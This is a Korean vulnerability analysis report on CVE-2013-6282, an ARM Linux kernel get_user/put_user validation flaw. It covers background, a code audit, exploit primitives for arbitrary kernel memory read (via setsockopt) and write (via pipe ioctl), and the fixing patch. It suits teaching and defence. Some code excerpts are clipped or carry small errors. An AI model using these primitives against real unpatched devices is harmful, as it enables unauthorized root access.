CVE-2013-6282 Analysis Report

Analysis report on Local Privilege Escalation

Caused by Improper Input Validation in the `get_user` and `put_user` API

First Author	Catalin Marinas
Author	iCAROS7 (Homin Rhee)
Data Created	2022.09.20 Tue
Data Version	1.1.0-St

Index

1. Introduce

CVE-2013-6282는 `arm` 아키텍처의 도메인 전환 기능 사용시 혹은 도메인을 지원하지 않는 경우 적절치 못한 매개변수 검증으로 인해 권한 상승이 가능한 취약점이다.

이는 2005년 `Linux-2.6.12-rc2` 에서 `arm` 아키텍처용으로 추가된 userland 와 kernel space 간 데이터 전송 메서드인 `get_user()` 및 `put_user()` 내에서 유발 된다. 데이터 전송시 userland와 kernel space의 포인터에 데이터를 읽고 쓰는 과정에서 대상 메모리 주소에 대한 입력 검증이 이루어지지 않아 공격자가 원하는 메모리 주소에 원하는 데이터를 넣을 수 있게 된다.

Linux kernel version 3.5.4 이하의 모든 ARMv6k 및 ARMv7 구성을 사용하는 모든 기기에 해당된다. 이는 실질적으로 2010-13년경 출시된 대부분의 Android 기기에 영향을 미치므로 상당한 위험성을 내제하고 있다. 또한 이미 이를 통해 상당수의 Android 기기가 Local Privilege Escalation (이하 LPE)를 통해 실제로 root 권한을 사용자가 의도적으로 얻어 시스템에 접근하는 rooting (이하 루팅) 사례가 보고 되었다.

2012년 9월 9일 `Catalin Marinas` 에 의해 최초 보고 되었으며, 동년 동월 10일 Linux main stream에 즉각 커밋 되었다. 이후 다음 해 11월 19일 공개 되며 CVSS 2.0 기준 `7.2` 로 점수를 받았다.

2. Analysis of crash occurrence function

2-1. Basic knowledge

i. Difference of `copy_{to, from}_user()` between `{get, put}_user()`

`copy_{to, from}_user()` 역시 `{get, put}_user()` 와 동일하게 userland와 kernel space 간 데이터를 주고 받는데 사용이 가능하다. 차이는 전자의 경우 struct를 포함하여 대다수의 자료형과 구조에 대응이 가능하다. 허나 후자는 char, int 그리고 long 등 간단한 자료형에만 사용이 가능하다.

ARM의 경우 `1`, `2`, `4` byte까지 지원을 하나 2012년 11월 경 추가된 `[PATCH] ARM: add get_user() support for 8 byte types` commit 이후 Linux kernel 3.7 부터 64 bit 자료형인 `8` byte까지 지원한다.

ii. TLB (Translation Lookaside Buffer)

TLB는 Userland의 요청자와 통신하며 가상의 메모리 주소를 물리 주소로 변환하는 용도와 이와 관련된 각각의 접근 권한 제어를 캐싱하는 역할을 한다. 이 중 상위의 Memory Management Unit (이하 MMU)의 접근 제어 로직에게 주어진 가상의 메모리 주소가 접근이 가능 정책을 사용하는지 반환 받는다. 접근이 가능하다면 MMU로부터 물리 주소를 반환받아 요청자에게 다시 반환한다. 접근이 불허하다면 CPU 단에서 요청자에게 `abort` 신호를 반환한다. 이는 각각의 주소 별로 캐싱되어 다음번 요청이 들어올 때 빠른 응답이 가능하게 한다.

각 주소에 관한 TLB가 없다면 위와 같은 동작을 통해 캐싱을 하며 이는 table 형식으로 저장된다. 이를 내부적으로는 `entry` 라 칭한다. 이때 entry는 새롭게 갱신되어 캐싱될 경우 기존 정보가 지워 질 수 있다.

iii. MMU (Memory Management Unit)

CPU 내에서 가상의 주소를 물리 메모리로 변환하며, 메모리 접근 권한을 제어하는 유닛이다. 이는 무조건 1개 이상의 TLB, 접근 제어 로직과 요청받은 주소에 대한 TLB가 없을때 병렬 수행되는 `Translation Table Walking` 로직으로 구성 되어있다.

전자 2개의 경우 위 TLB 단에서 설명이 되었으므로 `Translation Table Walking` 에 관한 것만 추후 기술 한다. MMU의 메모리 관리 방식으로는 다음과 같은 두가지가 있다.

- Section
  - 1MB의 Block 단위로 관리
- Page
  - Small Page: 4kB Block 메모리로 관리
    - 1kB의 Sub Page
  - Large Page: 64kB Block 메모리로 관리
    - 16kB의 Sub Page

Section 및 large page의 경우 TLB에 특정 하나의 `entry` 만이 큰 영역을 매핑 가능하다.

iv. ARM Domain

Domain은 ARM architecture에만 있는 메모리 구역 관리 시스템 이다. 현 ARM의 경우 `Domain Access Control Register` 를 통해 총 16개의 domain 구성을 지원한다. 또한 이 domain 내에는 무조건 상호 연결된 도메인이 존재한다.

이는 다음 행동 중 하나의 정책을 각 메모리 구역에 할당이 가능하다.

1. 무조건 접근 허용
2. 무조건 접근 불허
3. 부분적 접근 허용

케이스 1, 2의 경우 Domain 내 별도 권한 속성이 있더라도 무시되며 위 정책이 최우선 적용된다.

2-2. Code audit

> 하기 모든 Code는 Linux Kernel 3.5.4를 기준으로 한다.

```
ile: /arch/arm/include/asm/uaccess.h */

rn int __get_user_1(void *);
rn int __get_user_2(void *);
rn int __get_user_4(void *);

ine __get_user_x(__r2,__p,__e,__s,__i...)   \
 __asm__ __volatile__ (     \
__asmeq("%0", "r0") __asmeq("%1", "r2") \
"bl __get_user_" #__s   \       // asms, ASM 코드
: "=&r" (__e), "=r" (__r2)    \ // output, 결과 출력 변수
: "0" (__p)       \             // input, asms에 넘겨줄 입력 변수
: __i, "cc")                    // clobber, 상기에 명시되진 않았지만 asms
로 인해 값이 변하는 변수
```

`__getuser_x()` 는 단일 값 전송 메서드이다. Pointer가 정상적으로 할당 되었다면 크기는 자동으로 계산된다.

`__volatile__()` 를 통해 인라인 asm 시 최적화 등의 의도치 않은 이동을 방지한다. `__asmeq()` 를 통해 두번째 인자 레지스터에 asm 변수에 해당하는 첫번째 인자 asm 변수 값이 정상적으로 mapping 되었나 확인한다. 이때 정상적으로 할당 되지 않았다면 컴파일 작업이 중단된다.

`bl` 명령을 통해 현재의 R15 `PC` 레지스터의 값을 R14 `LR` 레지스터에 복사하여 분기 이후 되돌아올 주소를 현 R15 `PC` 레지스터의 값으로 지정한 뒤 `__get_user_n()` 를 수행한다. 이때 `n` 의 경우 4번째 인자로 받은 `__s` 값을 사용한다. 이때 `equal` 오퍼랜드와 `__p` 로 받은 주소 값을 넘겨준다. 위 asms 연산 중 첫번째 값을 `__e` 주소 값에 이전 값을 버리고 쓰기 전용으로 쓴다. 이후 `__r2` 주소 값에 전자와 동일하게 쓰기 전용으로 쓴다. 모든 asms가 끝나고 난다면 `__i` 주소 값과 `CC` Carry 레지스터의 값이 `0` 으로 변함을 명시한다.

```
#define __put_user_x(__r2,__p,__e,__s)    \
__asm__ __volatile__ (        \
     __asmeq("%0", "r0") __asmeq("%2", "r2")  \
     "bl  __put_user_" #__s   \     // asms, ASM 코드
     : "=&r" (__e)        \         // output, 결과 출력 변수
     : "0" (__p), "r" (__r2)      \ // input, asms에 넘겨줄 입력 변수
     : "ip", "lr", "cc")           // clobber, 상기에 명시되진 않았지만 asms로 인해 값이 변하는 변수
```

`__get_user_x()` 와 비슷한 메커니즘으로 동작하지만 차이점만 짚어보겠다. asms 수행시 `equal` 오퍼랜드와 `__p` 로 받은 주소 값을 첫번째로, 쓰기 전용으로 이전 값을 버리고 `__r2` 주소 값을 넘겨준다. 이후 연산 중 `__e` 의 이전 값을 버리고 새로운 값을 쓴다. 모든 asms가 끝나고 난다면 R12 `IP` Intra scratch 레지스터와 R14 `LR` Link Register의 복귀 주소가 바뀜을 명시한다.

```
#define get_user(x,p)           \
  ({              \
    register const typeof(*(p)) __user *__p asm("r0") = (p);\
    register unsigned long __r2 asm("r2");      \
    register int __e asm("r0");       \
    switch (sizeof(*(__p))) {       \
    case 1:             \
      __get_user_x(__r2, __p, __e, 1, "lr");    \
           break;           \
    case 2:             \
      __get_user_x(__r2, __p, __e, 2, "r3", "lr");  \
      break;            \
    case 4:             \
           __get_user_x(__r2, __p, __e, 4, "lr");    \
      break;            \
    default: __e = __get_user_bad(); break;     \
    }             \
    x = (typeof(*(p))) __r2;        \
    __e;            \
  })
```

실질적으로 사용되는 `get_user()` 이다. userland 상의 포인터로부터 단일 값 `x` 를 가져온다. 전반적인 흐름은 사용될 변수들이 정의 되고 크기에 따라 switch 문을 통해 `get_user_n()` 으로 분배된다.

`register` 키워드로 R0 레지스터에 static 하게 저장이 되는 변수 `__p` 를 하나 만들어준다. 형식은 매개변수로 받은 `p` 와 같은 형식으로 한다. 동일하게 `R2` 레지스터에 저장되는 unsigned long 형식의 변수 `__r2` 를 정의한다. R0 레지스터에 저장되는 `__e` 도 하나 정의 한다.

`sizeof()` 를 사용하여 매개변수로 받은 `p` 의 크기에 따라 switch-case 문을 실행한다. 이때 올바르지 않은 형식의 경우 `__get_user_bad()` 를 호출하여 원치 않는 메모리 읽기 쓰기를 차단한다.

이후 새롭게 userland로부터 가져온 R2 레지스터의 값을 `typeof()` 로 자료형을 맞추어 x에 대입한다.

```
#define put_user(x,p) \
  ({  \
    register const typeof(*(p)) __r2 asm("r2") = (x); \
    register const typeof(*(p)) __user *__p asm("r0") = (p);\
    register int __e asm("r0");       \
    switch (sizeof(*(__p))) {       \
    case 1:             \
      __put_user_x(__r2, __p, __e, 1);    \
      break;            \
    case 2:             \
      __put_user_x(__r2, __p, __e, 2);    \
      break;            \
    case 4:             \
      __put_user_x(__r2, __p, __e, 4);    \
      break;            \
    case 8:             \
      __put_user_x(__r2, __p, __e, 8);    \
      break;            \
    default: __e = __put_user_bad(); break;     \
    }             \
    __e;              \
  })
```

`put_user()` 메서드도 `get_user()` 메서드와 동일한 메커니즘으로 동작한다. 차이 점만 짚어보자면 R2 레지스터에 static 값으로 userland로 넘겨줄 포인터 `p` 의 자료형에 따라 `__r2` 가 정의 되고 해당 값에 매개변수로 들어온 `x` 의 주소를 대입한다. 이후 동일하게 R0 레지스터에 static 한 `__p` 포인터를 정의하여 `p` 의 주소를 대입한다.

```
1  /* File: /arch/arm/lib/getuser.S */
2
3  #include <linux/linkage.h>
4  #include <asm/errno.h>
5  #include <asm/domain.h>
6
7  ENTRY(__get_user_1)
8  1: TUSER(ldrb)  r2, [r0]
9    mov r0, #0
10   mov pc, lr
11 ENDPROC(__get_user_1)
12
13 ENTRY(__get_user_2)
14 #ifdef CONFIG_THUMB2_KERNEL
15 2: TUSER(ldrb)  r2, [r0]
16 3: TUSER(ldrb)  r3, [r0, #1]
17 #else
18 2: TUSER(ldrb)  r2, [r0], #1
19 3: TUSER(ldrb)  r3, [r0]
20 #endif
21 #ifndef __ARMEB__
22   orr r2, r2, r3, lsl #8
23 #else
24   orr r2, r3, r2, lsl #8
25 #endif
26   mov r0, #0
27   mov pc, lr
28 ENDPROC(__get_user_2)
29
30 ENTRY(__get_user_4)
31 4: TUSER(ldr) r2, [r0]
```

```
32    mov r0, #0
33    mov pc, lr
34  ENDPROC(__get_user_4)
35
36  /* File: /arch/arm/lib/putuser.S */
37
38  #include <linux/linkage.h>
39  #include <asm/errno.h>
40  #include <asm/domain.h>
41
42  ENTRY(__put_user_1)
43  1: TUSER(strb)  r2, [r0]
44    mov r0, #0
45    mov pc, lr
46  ENDPROC(__put_user_1)
47
48  ENTRY(__put_user_2)
49    mov ip, r2, lsr #8
50  #ifdef CONFIG_THUMB2_KERNEL
51  #ifndef __ARMEB__
52  2: TUSER(strb)  r2, [r0]
53  3: TUSER(strb)  ip, [r0, #1]
54  #else
55  2: TUSER(strb)  ip, [r0]
56  3: TUSER(strb)  r2, [r0, #1]
57  #endif
58  #else /* !CONFIG_THUMB2_KERNEL */
59  #ifndef __ARMEB__
60  2: TUSER(strb)  r2, [r0], #1
61  3: TUSER(strb)  ip, [r0]
62  #else
63  2: TUSER(strb)  ip, [r0], #1
64  3: TUSER(strb)  r2, [r0]
65  #endif
66  #endif  /* CONFIG_THUMB2_KERNEL */
67    mov r0, #0
```

```
68    mov pc, lr
69  ENDPROC(__put_user_2)
70
71  ENTRY(__put_user_4)
72  4: TUSER(str) r2, [r0]
73    mov r0, #0
74    mov pc, lr
75  ENDPROC(__put_user_4)
76
77  ENTRY(__put_user_8)
78  #ifdef CONFIG_THUMB2_KERNEL
79  5: TUSER(str) r2, [r0]
80  6: TUSER(str) r3, [r0, #4]
81  #else
82  5: TUSER(str) r2, [r0], #4
83  6: TUSER(str) r3, [r0]
84  #endif
85    mov r0, #0
86    mov pc, lr
87  ENDPROC(__put_user_8)
```

`getuser.S` 에서는 ENTRY 매크로를 통해 각 크기 name label을 보여줄 수 있게 정의를 해두었다.

또한 위 작업은 메모리 데이터에 직접 엑세스 하는 과정이다. 이러한 과정이 필요한 이유는 ARM architecture 의 경우 레지스터 - 메모리 간 데이터에 직접 엑세스가 불가능하여, `LDR` / `STR` 명령을 통해서만 가능하다. 전반적인 과정 설명이 아닌 ARM만의 간략한 설명을 하겠다.

```
1  LDR r3, [r0, #1]
2  STR r3, [r2], #2
```

Line. 01의 경우 r0 레지스터로에 1 byte만큼 더한 주소에서 **int** 값을 읽어 r3 레지스터에 저장한다.

Line. 02의 경우 r2 레지스터의 주소에 r1 레지스터 값을 저장한 뒤 r2 레지스터를 4만큼 증가시킨다.

추가로 알아야 할 것은 위에서 int 형을 강조하였듯 `LDRB` 의 경우 byte, `LDRH` 는 short에 사용된다.

2-3. Vulnerability analysis

i. `{get, put}_user()`

실질적으로 취약한 code는 하기와 같다.

```
1  /* File: /arch/arm/include/asm/uaccess.h */
2
3  extern int __get_user_1(void *);
4  extern int __get_user_2(void *);
5  extern int __get_user_4(void *);
6
7  #define __get_user_x(__r2,__p,__e,__s,__i...)   \
8       __asm__ __volatile__ (     \
9      __asmeq("%0", "r0") __asmeq("%1", "r2") \
10     "bl __get_user_" #__s   \       // asms, ASM 코드
11     : "=&r" (__e), "=r" (__r2)    \ // output, 결과 출력 변수
12     : "0" (__p)       \             // input, asms에 넘겨줄 입력 변수
13     : __i, "cc")                    // clobber, 상기에 명시되진 않았지만 asms
   로 인해 값이 변하는 변수
14
15 #define __put_user_x(__r2,__p,__e,__s)    \
16      __asm__ __volatile__ (       \
17      __asmeq("%0", "r0") __asmeq("%2", "r2")  \
18      "bl  __put_user_" #__s   \     // asms, ASM 코드
19      : "=&r" (__e)        \         // output, 결과 출력 변수
20      : "0" (__p), "r" (__r2)      \ // input, asms에 넘겨줄 입력 변수
21      : "ip", "lr", "cc")            // clobber, 상기에 명시되진 않았지만 asms
   로 인해 값이 변하는 변수
```

간단히 정리하자면 위 code audit에서 살펴본 코드 중 그 어디에도 범위 혹은 길이에 대한 제한 혹은 조건이 없다. 이는 ARM architecture의 Domain 기능을 사용하여 메모리 구역을 나누어두지 않거나 지원하지 않는다면 공격자가 원하는 값을 R/W 할 수 있다.

ii. {set, get}sockopt()

```c
// File: /net/tipc/socket.c

/**
 * setsockopt - set socket option
 * @sock: socket structure
 * @lvl: option level
 * @opt: option identifier
 * @ov: pointer to new option value
 * @ol: length of option value
 *
 * For stream sockets only, accepts and ignores all IPPROTO_TCP options
 * (to ease compatibility).
 *
 * Returns 0 on success, errno otherwise
 */
static int setsockopt(struct socket *sock,
          int lvl, int opt, char __user *ov, unsigned int ol)
{
  struct sock *sk = sock->sk;
  struct tipc_port *tport = tipc_sk_port(sk);
  u32 value;
  int res;

  if ((lvl == IPPROTO_TCP) && (sock->type == SOCK_STREAM))
    return 0;
  if (lvl != SOL_TIPC)
    return -ENOPROTOOPT;
  if (ol < sizeof(value))
    return -EINVAL;
  res = get_user(value, (u32 __user *)ov);
  if (res)
    return res;

```

```
34    lock_sock(sk);
35
36    switch (opt) {
37    case TIPC_IMPORTANCE:
38      res = tipc_set_portimportance(tport->ref, value);
39      break;
40    case TIPC_SRC_DROPPABLE:
41      if (sock->type != SOCK_STREAM)
42        res = tipc_set_portunreliable(tport->ref, value);
43      else
44        res = -ENOPROTOOPT;
45      break;
46    case TIPC_DEST_DROPPABLE:
47      res = tipc_set_portunreturnable(tport->ref, value);
48      break;
49    case TIPC_CONN_TIMEOUT:
50      tipc_sk(sk)->conn_timeout = value;
51      /* no need to set "res", since already 0 at this point */
52      break;
53    default:
54      res = -EINVAL;
55    }
56
57    release_sock(sk);
58
59    return res;
60  }
61
62  /**
63   * getsockopt - get socket option
64   * @sock: socket structure
65   * @lvl: option level
66   * @opt: option identifier
67   * @ov: receptacle for option value
68   * @ol: receptacle for length of option value
69   *
```

```
 * For stream sockets only, returns 0 length result for all
IPPROTO_TCP options
 * (to ease compatibility).
 *
 * Returns 0 on success, errno otherwise
 */
static int getsockopt(struct socket *sock,
          int lvl, int opt, char __user *ov, int __user *ol)
{
  struct sock *sk = sock->sk;
  struct tipc_port *tport = tipc_sk_port(sk);
  int len;
  u32 value;
  int res;

  if ((lvl == IPPROTO_TCP) && (sock->type == SOCK_STREAM))
    return put_user(0, ol);
  if (lvl != SOL_TIPC)
    return -ENOPROTOOPT;
  res = get_user(len, ol);
  if (res)
    return res;

  lock_sock(sk);

  switch (opt) {
  case TIPC_IMPORTANCE:
    res = tipc_portimportance(tport->ref, &value);
    break;
  case TIPC_SRC_DROPPABLE:
    res = tipc_portunreliable(tport->ref, &value);
    break;
  case TIPC_DEST_DROPPABLE:
    res = tipc_portunreturnable(tport->ref, &value);
    break;
  case TIPC_CONN_TIMEOUT:
```

```
105       value = tipc_sk(sk)->conn_timeout;
106       /* no need to set "res", since already 0 at this point */
107       break;
108     case TIPC_NODE_RECVQ_DEPTH:
109       value = (u32)atomic_read(&tipc_queue_size);
110       break;
111     case TIPC_SOCK_RECVQ_DEPTH:
112       value = skb_queue_len(&sk->sk_receive_queue);
113       break;
114     default:
115       res = -EINVAL;
116     }
117
118     release_sock(sk);
119
120     if (res)
121       return res; /* "get" failed */
122
123     if (len < sizeof(value))
124       return -EINVAL;
125
126     if (copy_to_user(ov, &value, sizeof(value)))
127       return -EFAULT;
128
129     return put_user(sizeof(value), ol);
130   }
```

Linux kernel에서 관례적으로 주소 읽기 및 쓰기 시 `setsockopt()`를 사용한다. 매개 변수 중 옵션 값을 저장할 변수와 길이를 살펴볼 필요가 있다. 둘의 공통점으로 `{set, get}sockopt()`의 형태가 다르다. 변경을 위한 `getsockopt()` 반환된 옵션 값을 저장하고 이에 해당하는 길이의 정보가 담긴 포인터를 사용하고, `setsockopt()`의 경우 새로운 옵션 값이 담긴 char 형 포인터와 길이의 경우 일반적 변수를 통해 전달한다.

iii. `pipe_ioctl()`

```
/* File: /fs/pipe.c */

static long pipe_ioctl(struct file *filp, unsigned int cmd, unsigned
long arg)
{
  struct inode *inode = filp->f_path.dentry->d_inode;
  struct pipe_inode_info *pipe;
  int count, buf, nrbufs;

  switch (cmd) {
    case FIONREAD:
      mutex_lock(&inode->i_mutex);
      pipe = inode->i_pipe;
      count = 0;
      buf = pipe->curbuf;
      nrbufs = pipe->nrbufs;
      while (--nrbufs >= 0) {
        count += pipe->bufs[buf].len;
        buf = (buf+1) & (pipe->buffers - 1);
      }
      mutex_unlock(&inode->i_mutex);

      return put_user(count, (int __user *)arg);
    default:
      return -ENOIOCTLCMD;
  }
}
```

파이프를 사용시 `put_user()` 호출이 가능하다. 따라서 `pipe_ioctl()` 등을 이용하여 파이프 생성 및 연결 이후 특정 주소에 쓰기가 가능하다.

3. Proof of concept

3-1. Exploit code audit

i. Use `get_user()`

> Based on fl01's libget_user_exploit

```
# File: Android.mk

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_SRC_FILES := \
  get_user.c \

LOCAL_MODULE := libget_user_exploit
LOCAL_MODULE_TAGS := optional

include $(BUILD_STATIC_LIBRARY)
```

`make` 시 `get_user.c` 를 포함하여 `libget_user_exploit` 이름의 모듈로 사전 설정을 한다.

```
* File: get_user.h */
ifndef GET_USER_H
define GET_USER_H

include <stdbool.h>

xtern bool get_user_read_value_at_address(unsigned long address, int
value);

#endif /* GET_USER_H */
```

```c
/* File: get_user.c */

/*
 *  Copyright (c) 2013 by fi01
 */

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <errno.h>
#include "get_user.h"

static bool
ipsock_read_value_at_address(unsigned long address, int *value)
{
  unsigned int addr;
  unsigned char *data = (void *)value;
  int sock;
  int i;

  *value = 0;
  errno = 0;

  if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
    printf("error in socket().\n");
    return false;
  }

  for (i = 0; i < sizeof (*value); i++, address++, data++) {
    if (setsockopt(sock, SOL_IP, IP_TTL, (void *)address, 1) != 0) {
      if (errno != EINVAL) {
  printf("error in setsockopt().\n");
```

```
37    *value = 0;
38    return false;
39        }
40      }
41      else {
42        socklen_t optlen = 1;
43        if (getsockopt(sock, SOL_IP, IP_TTL, data, &optlen) != 0) {
44    printf("error in getsockopt().\n");
45    *value = 0;
46    return false;
47        }
48      }
49    }
50
51    close(sock);
52
53    return true;
54  }
55
56  bool
57  get_user_read_value_at_address(unsigned long address, int *value)
58  {
59    return ipsock_read_value_at_address(address, value);
60  }
```

`get_user()` 를 통해 kernel과 통신하기 위해서 우선 소켓을 생성해야한다. 임의의 주소를 읽기 위 `setsockopt()` 를 통해 진행한다. 여기서 `{set, get}sockopt()` 의 데이터와 데이터 길이를 조작하여 공격자가 원하는 값을 도출 혹은 삽입 할 수 있다.

ii. Use `put_user()`

> Based on [fl01's libput_user_exploit]

```
# File: Android.mk

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_SRC_FILES := \
  put_user.c \

LOCAL_MODULE := libput_user_exploit
LOCAL_MODULE_TAGS := optional

include $(BUILD_STATIC_LIBRARY)
```

```
/* File: put_user.h */

#ifndef VROOT_H
#define VROOT_H

#include <stdbool.h>

extern bool vroot_write_value_at_address(unsigned long address, int
value);

extern bool vroot_run_exploit(unsigned long int address, int value,
                              bool(*exploit_callback)(void* user_data),
void *user_data);


#endif /* VROOT_H */
```

```
/* File: put_user.c */

/*
 *  Copyright (c) 2013 by fi01
```

```
 */

#include <sys/ioctl.h>
#include <stdio.h>
#include "put_user.h"

static bool
pipe_write_value_at_address(unsigned long address, int value)
{
  char data[4];
  int pfd[2];
  int i;

  *(int *)&data = value;

  if (pipe(pfd) == -1) {
    perror("pipe");
    return false;
  }

  for (i = 0; i < sizeof (data); i++) {
    char buf[256];

    buf[0] = 0;

    if (data[i]) {
      if (write(pfd[1], buf, data[i]) != data[i]) {
  printf("error in write().\n");
  break;
      }
    }

    if (ioctl(pfd[0], FIONREAD, (void *)(address + i)) == -1) {
      perror("ioctl");
      break;
    }
```

```
41
42      if (data[i]) {
43        if (read(pfd[0], buf, sizeof buf) != data[i]) {
44    printf("error in read().\n");
45    break;
46        }
47      }
48    }
49
50    close(pfd[0]);
51    close(pfd[1]);
52
53    return i == sizeof (data);
54  }
55
56  bool
57  put_user_write_value_at_address(unsigned long address, int value)
58  {
59    return pipe_write_value_at_address(address, value);
60  }
61
62  bool
63  put_user_run_exploit(unsigned long int address, int value,
64                       bool(*exploit_callback)(void* user_data), void
    *user_data)
65  {
66    if (!put_user_write_value_at_address(address, value)) {
67      return false;
68    }
69
70    return exploit_callback(user_data);
71  }
```

Data 쓰기의 경우 파이프를 이용한다. 파이프 생성 이후 `ioctl()` 을 통해 주소 검증이 없는 특정 플랫폼의 경우 특정 주소에 읽기가 직접적으로 가능하다.

4. Patch for the vulnerability

기존 commit을 바탕으로 변경 사항 추적을 해보았다.

```
// File: /arch/arm/include/asm/assembler.h
// ...

\name:
  .asciz "\string"
  .size \name , . - \name
  .endm

  .macro check_uaccess, addr:req, size:req, limit:req, tmp:req, bad:req
#ifndef CONFIG_CPU_USE_DOMAINS
  adds  \tmp, \addr, #\size - 1
  sbcccs  \tmp, \tmp, \limit
  bcs \bad
#endif
  .endm

#endif /* __ASM_ASSEMBLER_H__ */
```

우선 `uaccess.h` 내에서 사용 될 매크로를 추가한다. 이는 `limit` 과 `addr` , `size` 를 통해 한계 주소 값을 넘지 않는지 확인 하는 과정이다. `ADDS` 를 통해 플래그도 바꿔주는 것이 중요점이다.

`bad:req` 인자를 받아 임계 영역 침범시 `__{get, put}_user_bad()` 를 호출하여 `-EFAULT` 를 리턴한다.

```
// File: arch/arm/include/asm/uaccess.h

extern int __get_user_1(void *);
extern int __get_user_2(void *);
extern int __get_user_4(void *);

#define __GUP_CLOBBER_1 "lr", "cc"
```

```
#ifdef CONFIG_CPU_USE_DOMAINS
#define __GUP_CLOBBER_2 "ip", "lr", "cc"
#else
#define __GUP_CLOBBER_2 "lr", "cc"
#endif
#define __GUP_CLOBBER_4 "lr", "cc"

/* #define __get_user_x(__r2,__p,__e,__s,__i...)  */
#define __get_user_x(__r2,__p,__e,__l,__s)       \

     __asm__ __volatile__ (         \
    __asmeq("%0", "r0") __asmeq("%1", "r2")     \
    __asmeq("%3", "r1")         \
    "bl __get_user_" #__s       \
    : "=&r" (__e), "=r" (__r2)        \

/*    : "0" (__p)          \
      : __i, "cc")  */
    : "0" (__p), "r" (__l)          \
    : __GUP_CLOBBER_##__s)

#define get_user(x,p)            \
  ({               \
    unsigned long __limit = current_thread_info()->addr_limit - 1; \
    register const typeof(*(p)) __user *__p asm("r0") = (p);\
    register unsigned long __r2 asm("r2");      \
    register unsigned long __l asm("r1") = __limit;   \
    register int __e asm("r0");       \
    switch (sizeof(*(__p))) {       \
    case 1:             \

//      __get_user_x(__r2, __p, __e, 1, "lr");    \
//            break;            \

      __get_user_x(__r2, __p, __e, __l, 1);   \
      break;            \
```

```
44      case 2:             \
45
46  /*      __get_user_x(__r2, __p, __e, 2, "r3", "lr");  \ */
47          __get_user_x(__r2, __p, __e, __l, 2);   \
48
49          break;          \
50      case 4:             \
51
52  /*      __get_user_x(__r2, __p, __e, 4, "lr");    \ */
53          __get_user_x(__r2, __p, __e, __l, 4);   \
54
55          break;          \
56      default: __e = __get_user_bad(); break;     \
57      }               \
58      x = (typeof(*(p))) __r2;        \
59      __e;                \
60    })
61
62    /* #define __put_user_x(__r2,__p,__e,__s)         \ */
63    #define __put_user_x(__r2,__p,__e,__l,__s)        \
64
65       __asm__ __volatile__ (         \
66      __asmeq("%0", "r0") __asmeq("%2", "r2")     \
67      __asmeq("%3", "r1")         \
68      "bl __put_user_" #__s       \
69      : "=&r" (__e)           \
70
71  /*    : "0" (__p), "r" (__r2)         \ */
72      : "0" (__p), "r" (__r2), "r" (__l)      \
73
74      : "ip", "lr", "cc")
75
76  #define put_user(x,p)             \
77    ({                \
78      unsigned long __limit = current_thread_info()->addr_limit - 1; \
79      register const typeof(*(p)) __r2 asm("r2") = (x); \
```

```
80      register const typeof(*(p)) __user *__p asm("r0") = (p);\
81      register unsigned long __l asm("r1") = __limit;   \
82      register int __e asm("r0");       \
83      switch (sizeof(*(__p))) {       \
84      case 1:             \
85
86  /*      __put_user_x(__r2, __p, __e, 1);    \ */
87        __put_user_x(__r2, __p, __e, __l, 1);   \
88
89        break;            \
90      case 2:             \
91
92  /*      __put_user_x(__r2, __p, __e, 2);    \ */
93        __put_user_x(__r2, __p, __e, __l, 2);   \
94
95        break;            \
96      case 4:             \
97
98  /*      __put_user_x(__r2, __p, __e, 4);    \ */
99        __put_user_x(__r2, __p, __e, __l, 4);   \
100
101       break;            \
102     case 8:             \
103
104 /*      __put_user_x(__r2, __p, __e, 8);    \ */
105       __put_user_x(__r2, __p, __e, __l, 8);   \
106
107       break;            \
108     default: __e = __put_user_bad(); break;     \
109     }
```

따라서 각 위의 매크로를 통해 `limit` 값을 인자로 전달하여 접근 가능 영역 가능 여부를 도메인 혹은 매크로부터 할당 받아 접근을 시도한다. 이때 `limit` 값은 일반 레지스터로 전달되어 값 새로 쓰기가 불가능하여 const 하게 전달 된다.

```
1  // File: /arch/arm/lib/getuser.S
```

```
2
3  /*
4   * __get_user_X
5   *
6   * Inputs:  r0 contains the address
7
8   *    r1 contains the address limit, which must be preserved
9
10  * Outputs: r0 is the error code
11
12 // *    r2, r3 contains the zero-extended value
13  *    r2 contains the zero-extended value
14
15  *    lr corrupted
16  *
17  */
18
19  #include <asm/assembler.h>
20
21 ENTRY(__get_user_1)
22
23 check_uaccess r0, 1, r1, r2, __get_user_bad
24
25 1: TUSER(ldrb)  r2, [r0]
26   mov r0, #0
27   mov pc, lr
28 ENDPROC(__get_user_1)
29
30 ENTRY(__get_user_2)
31
32 /*  #ifdef CONFIG_THUMB2_KERNEL
33     2: TUSER(ldrb)  r2, [r0]
34     3: TUSER(ldrb)  r3, [r0, #1]  */
35   check_uaccess r0, 2, r1, r2, __get_user_bad
36 #ifdef CONFIG_CPU_USE_DOMAINS
37 rb  .req  ip
```

```
2:  ldrbt r2, [r0], #1
3:  ldrbt rb, [r0], #0

#else

/*  2: TUSER(ldrb)  r2, [r0], #1
    3: TUSER(ldrb)  r3, [r0]  */
rb  .req  r0
2:  ldrb  r2, [r0]
3:  ldrb  rb, [r0, #1]

#endif
#ifndef __ARMEB__

/*  orr r2, r2, r3, lsl #8  */
  orr r2, r2, rb, lsl #8

#else

/*  orr r2, r3, r2, lsl #8  */
  orr r2, rb, r2, lsl #8

#endif
  mov r0, #0
  mov pc, lr
ENDPROC(__get_user_2)

ENTRY(__get_user_4)

  check_uaccess r0, 4, r1, r2, __get_user_bad

4: TUSER(ldr) r2, [r0]
  mov r0, #0
  mov pc, lr
```

```
// File: /arch/arm/lib/putuser.S
```

```
2
3  /*
4   * __put_user_X
5   *
6   * Inputs:  r0 contains the address
7   *    r1 contains the address limit, which must be preserved
8   *    r2, r3 contains the value
9   * Outputs: r0 is the error code
10  *    lr corrupted
11  *
12  * No other registers must be altered.  (see <asm/uaccess.h>
13  * for specific ASM register usage).
14  */
15
16  #include <asm/assembler.h>
17
18 ENTRY(__put_user_1)
19
20    check_uaccess r0, 1, r1, ip, __put_user_bad
21
22 1: TUSER(strb)  r2, [r0]
23    mov r0, #0
24    mov pc, lr
25 ENDPROC(__put_user_1)
26
27 ENTRY(__put_user_2)
28
29    check_uaccess r0, 2, r1, ip, __put_user_bad
30
31    mov ip, r2, lsr #8
32 #ifdef CONFIG_THUMB2_KERNEL
33 #ifndef __ARMEB__
34
35 ...
36
37 ENTRY(__put_user_4)
```

```
38
